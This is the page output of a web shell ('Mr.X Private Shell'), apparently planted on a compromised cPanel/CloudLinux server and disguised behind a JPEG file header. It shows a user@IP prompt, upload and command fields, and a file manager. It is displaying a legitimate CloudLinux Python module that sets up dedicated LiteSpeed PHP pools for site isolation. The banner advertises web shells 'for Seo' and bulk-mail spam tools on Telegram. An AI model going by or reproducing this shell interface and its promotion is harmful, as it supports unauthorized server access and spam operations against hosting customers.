����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.249: ~ $
#!/opt/cloudlinux/venv/bin/python3 -sbb
# -*- coding: utf-8 -*-
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2026 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
"""
CLOS-4642: dedicated per-domain lsphp pools for standalone LiteSpeed (LSWS).

Background
----------
On standalone LiteSpeed under cPanel, PHP runs as ONE shared lsphp pool per
Linux user (the ``APVH_<user>`` external app), and LiteSpeed multiplexes every
vhost of the account over it. CageFS per-website isolation masks sibling
docroots with a per-website mount namespace, and a process can live in only
ONE namespace at a time -- so a single shared worker cannot serve several
isolated docroots correctly (addon vhosts return 500, or nothing is masked).

Apache + mod_lsapi is unaffected: it already runs a per-vhost lsphp pool and
passes a per-vhost DOCUMENT_ROOT, so the existing startup site-isolation
constructor works there.

Fix
---
Make LiteSpeed run a DEDICATED lsphp pool per isolated domain so each pool
enters its own website namespace:

* ``DedicatePhpHandler on`` in a per-vhost cPanel *userdata* include
  (``/etc/apache2/conf.d/userdata/{std,ssl}/2_4/<user>/<vhost>/``). cPanel
  always emits a per-vhost ``Include`` for that directory, so the directive
  survives every ``httpd.conf`` regeneration (account/domain changes, EA4
  updates).
* ``DOCUMENT_ROOT=$DOC_ROOT`` in LiteSpeed's global ``<phpConfig>`` so each
  dedicated pool receives its own document root at spawn time; the alt-php
  lsphp startup constructor (CLOS-4506) then re-execs the worker into the
  matching website namespace. ``$DOC_ROOT`` is expanded per vhost by LiteSpeed.

Every public helper here is a strict NO-OP unless the active web server is
standalone LiteSpeed on a cPanel server.
"""
import logging
import os
import subprocess

logger = logging.getLogger(__name__)

LSWS_CTRL = "/usr/local/lsws/bin/lswsctrl"
LSWS_HTTPD_CONFIG = "/usr/local/lsws/conf/httpd_config.xml"
ENSURE_VHOST_INCLUDES = "/usr/local/cpanel/scripts/ensure_vhost_includes"
# cPanel records the active web server's control binary here; the LiteSpeed
# plugin (cp_switch_ws.sh) points bin_apachectl at lswsctrl when LiteSpeed is
# the active server, and at apachectl when switched to Apache.
EA4_PATHS_CONF = "/etc/cpanel/ea4/paths.conf"

CPANEL_USERDATA = "/var/cpanel/userdata"
# EA4 / Apache 2.4 per-vhost include roots (http + https).
USERDATA_INCLUDE_ROOTS = (
    "/etc/apache2/conf.d/userdata/std/2_4",
    "/etc/apache2/conf.d/userdata/ssl/2_4",
)
INCLUDE_FILENAME = "cl_siteiso.conf"
INCLUDE_CONTENT = "<IfModule LiteSpeed>\n  DedicatePhpHandler on\n</IfModule>\n"

DOC_ROOT_ENV_MARKER = "DOCUMENT_ROOT=$DOC_ROOT"
DOC_ROOT_ENV_LINE = "    <env>DOCUMENT_ROOT=$DOC_ROOT</env>\n"


def is_litespeed_active() -> bool:
    """
    True only on a cPanel server whose ACTIVE web server is standalone
    LiteSpeed. Apache+mod_lsapi, Plesk and DirectAdmin return False, so every
    helper below becomes a no-op there.

    Checking that lswsctrl merely exists is NOT enough: LiteSpeed can be
    installed but switched out for Apache. cPanel records the active server's
    control binary in ea4/paths.conf (bin_apachectl -> lswsctrl when LiteSpeed
    is active, -> apachectl when Apache is), so use that as the source of truth.
    """
    try:
        from cldetectlib import is_cpanel
    except ImportError:
        return False
    if not is_cpanel():
        return False
    try:
        with open(EA4_PATHS_CONF, encoding="utf-8") as fh:
            for line in fh:
                if line.startswith("bin_apachectl"):
                    return "lswsctrl" in line
    except OSError:
        pass
    return False


def _vhost_keys_for_docroot(user, document_root):
    """
    Map a document root to the cPanel vhost key(s) that serve it.

    cPanel stores one userdata file per vhost in ``/var/cpanel/userdata/<user>``
    keyed by the vhost ServerName (an addon domain ``foo.com`` is served by a
    vhost like ``sub.maindomain.com``). The per-vhost include directory is keyed
    by that same name, so resolve the key by matching ``documentroot:``.
    """
    target = document_root.rstrip("/")
    keys = []
    user_dir = os.path.join(CPANEL_USERDATA, user)
    try:
        entries = os.listdir(user_dir)
    except OSError:
        return keys
    for name in entries:
        if name in ("main", "cache") or name.endswith((".cache", "_SSL")):
            continue
        path = os.path.join(user_dir, name)
        if not os.path.isfile(path):
            continue
        try:
            with open(path, encoding="utf-8", errors="replace") as fh:
                for line in fh:
                    if line.startswith("documentroot:"):
                        dr = line.split(":", 1)[1].strip().rstrip("/")
                        if dr == target:
                            keys.append(name)
                        break
        except OSError:
            continue
    return keys


def _include_dirs(user, vhost_key):
    return [os.path.join(root, user, vhost_key) for root in USERDATA_INCLUDE_ROOTS]


def _write_include(user, vhost_key):
    for directory in _include_dirs(user, vhost_key):
        path = os.path.join(directory, INCLUDE_FILENAME)
        try:
            os.makedirs(directory, exist_ok=True)
            with open(path, "w", encoding="utf-8") as fh:
                fh.write(INCLUDE_CONTENT)
        except OSError as exc:
            logger.warning("LSWS site-isolation: cannot write %s: %s", path, exc)


def _remove_include(user, vhost_key):
    for directory in _include_dirs(user, vhost_key):
        path = os.path.join(directory, INCLUDE_FILENAME)
        try:
            os.unlink(path)
        except FileNotFoundError:
            pass
        except OSError as exc:
            logger.warning("LSWS site-isolation: cannot remove %s: %s", path, exc)


def _ensure_docroot_env():
    """
    Ensure ``DOCUMENT_ROOT=$DOC_ROOT`` is present once in LiteSpeed's global
    ``<phpConfig>`` so every dedicated per-domain pool spawns with its own
    document root. Idempotent; backs the file up before the first edit.
    Returns "added" if the env line was inserted (caller should reload),
    "present" if it was already there, or "failed" if it could not be ensured
    (read/parse/write error) so callers can avoid creating broken pools.
    """
    try:
        with open(LSWS_HTTPD_CONFIG, encoding="utf-8") as fh:
            content = fh.read()
    except OSError as exc:
        logger.warning("LSWS site-isolation: cannot read %s: %s", LSWS_HTTPD_CONFIG, exc)
        return "failed"
    if DOC_ROOT_ENV_MARKER in content:
        return "present"
    tag = "<phpConfig>"
    idx = content.find(tag)
    if idx == -1:
        logger.warning("LSWS site-isolation: <phpConfig> not found in %s", LSWS_HTTPD_CONFIG)
        return "failed"
    # Insert just after the tag's line. Guard the no-trailing-newline case so
    # we never fall back to insert_at=0 (which would prepend to the file and
    # corrupt the config).
    nl = content.find("\n", idx)
    if nl != -1:
        new_content = content[:nl + 1] + DOC_ROOT_ENV_LINE + content[nl + 1:]
    else:
        cut = idx + len(tag)
        new_content = content[:cut] + "\n" + DOC_ROOT_ENV_LINE + content[cut:]
    backup = LSWS_HTTPD_CONFIG + ".clos4642.bak"
    tmp = LSWS_HTTPD_CONFIG + ".clos4642.tmp"
    try:
        if not os.path.exists(backup):
            with open(backup, "w", encoding="utf-8") as fh:
                fh.write(content)
        with open(tmp, "w", encoding="utf-8") as fh:
            fh.write(new_content)
        os.replace(tmp, LSWS_HTTPD_CONFIG)
    except OSError as exc:
        logger.warning("LSWS site-isolation: cannot update %s: %s", LSWS_HTTPD_CONFIG, exc)
        return "failed"
    return "added"


def _rebuild_and_reload(user):
    """Re-emit the user's vhost includes and gracefully reload LiteSpeed."""
    if os.path.exists(ENSURE_VHOST_INCLUDES):
        try:
            subprocess.run([ENSURE_VHOST_INCLUDES, "--user=%s" % user],
                           check=False, capture_output=True)
        except OSError as exc:
            logger.warning("LSWS site-isolation: ensure_vhost_includes failed: %s", exc)
    try:
        subprocess.run([LSWS_CTRL, "reload"], check=False, capture_output=True)
    except OSError as exc:
        logger.warning("LSWS site-isolation: lswsctrl reload failed: %s", exc)


def enable_dedicated_php_handler(user, document_root):
    """
    Give the vhost(s) serving ``document_root`` a dedicated lsphp pool so the
    worker can enter that website's CageFS namespace. No-op unless LSWS active.

    NOTE: this rebuilds the user's vhost includes and reloads LiteSpeed per
    call. Enabling many domains for one account in a single command therefore
    triggers several rebuilds; batching across a bulk enable is a possible
    future optimization (see CLOS-4642).
    """
    if not is_litespeed_active():
        return
    keys = _vhost_keys_for_docroot(user, document_root)
    if not keys:
        logger.warning(
            "LSWS site-isolation: no cPanel vhost serves docroot %s (user %s); "
            "per-site isolation will NOT take effect for it on LiteSpeed until a "
            "vhost exists (the worker stays in the shared per-user pool)",
            document_root, user)
        return
    if _ensure_docroot_env() == "failed":
        logger.error(
            "LSWS site-isolation: cannot ensure DOCUMENT_ROOT env in %s; not "
            "creating a dedicated pool for %s -- without it the worker falls back "
            "to the primary docroot and 500s addon vhosts",
            LSWS_HTTPD_CONFIG, document_root)
        return
    for key in keys:
        _write_include(user, key)
    _rebuild_and_reload(user)


def reconcile_dedicated_php_handlers(user, isolated_docroots):
    """
    Make the user\'s dedicated-pool includes match exactly the given set of
    currently-isolated document roots: add includes for isolated docroots that
    lack one, and remove includes for vhosts whose docroot is no longer
    isolated. Robust to full teardown (empty list), docroots shared by several
    domains (kept while any sibling is still isolated), and docroots that no
    longer resolve (their stale includes are swept). No-op off standalone
    LiteSpeed. Reloads LiteSpeed only when something actually changed.
    """
    if not is_litespeed_active():
        return
    keep_keys = set()
    for dr in isolated_docroots:
        if dr:
            keep_keys.update(_vhost_keys_for_docroot(user, dr))
    changed = False
    add_includes = True
    if keep_keys:
        env_status = _ensure_docroot_env()
        if env_status == "failed":
            # Without the global DOCUMENT_ROOT env a dedicated pool would fall
            # back to the primary docroot and 500. Do NOT create new pools, but
            # still run the stale-include sweep below so a disable never leaves
            # an orphaned include behind.
            logger.error(
                "LSWS site-isolation: cannot ensure DOCUMENT_ROOT env in %s; "
                "not creating dedicated pools, only removing stale ones for %s",
                LSWS_HTTPD_CONFIG, user)
            add_includes = False
        elif env_status == "added":
            changed = True
    # add missing includes for vhosts that should stay isolated
    if add_includes:
        for key in keep_keys:
            paths = [os.path.join(d, INCLUDE_FILENAME) for d in _include_dirs(user, key)]
            if not all(os.path.exists(p) for p in paths):
                _write_include(user, key)
                changed = True
    # remove includes for vhosts that are no longer isolated
    for root in USERDATA_INCLUDE_ROOTS:
        try:
            vhosts = os.listdir(os.path.join(root, user))
        except OSError:
            continue
        for vhost in vhosts:
            if vhost in keep_keys:
                continue
            path = os.path.join(root, user, vhost, INCLUDE_FILENAME)
            if os.path.exists(path):
                try:
                    os.unlink(path)
                    changed = True
                except OSError as exc:
                    logger.warning("LSWS site-isolation: cannot remove %s: %s", path, exc)
    if changed:
        _rebuild_and_reload(user)


def remove_all_dedicated_php_handlers(user):
    """
    Remove every dedicated-pool include for a user. Used on full isolation
    teardown (``--isolates-deny`` / ``--isolates-deny-all`` ->
    _cleanup_user_isolation), where individual docroots may no longer be
    resolvable. No-op unless LSWS is active.
    """
    if not is_litespeed_active():
        return
    removed = False
    for root in USERDATA_INCLUDE_ROOTS:
        user_root = os.path.join(root, user)
        try:
            vhosts = os.listdir(user_root)
        except OSError:
            continue
        for vhost in vhosts:
            path = os.path.join(user_root, vhost, INCLUDE_FILENAME)
            try:
                os.unlink(path)
                removed = True
            except FileNotFoundError:
                pass
            except OSError as exc:
                logger.warning("LSWS site-isolation: cannot remove %s: %s", path, exc)
    if removed:
        _rebuild_and_reload(user)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
crontab Folder 0755
__init__.py File 248 B 0644
admin_config.py File 3.07 KB 0644
config.py File 1.74 KB 0644
docroot_validation.py File 7.53 KB 0644
jail_config.py File 2.72 KB 0644
jail_config_builder.py File 9.6 KB 0644
jail_utils.py File 7.88 KB 0644
libenter.py File 2.36 KB 0644
litespeed.py File 13.09 KB 0644
mount_config.py File 1.72 KB 0644
mount_ordering.py File 4.96 KB 0644
mount_types.py File 1.26 KB 0644
php.py File 3.73 KB 0644
service.py File 1.76 KB 0644
triggers.py File 1.9 KB 0644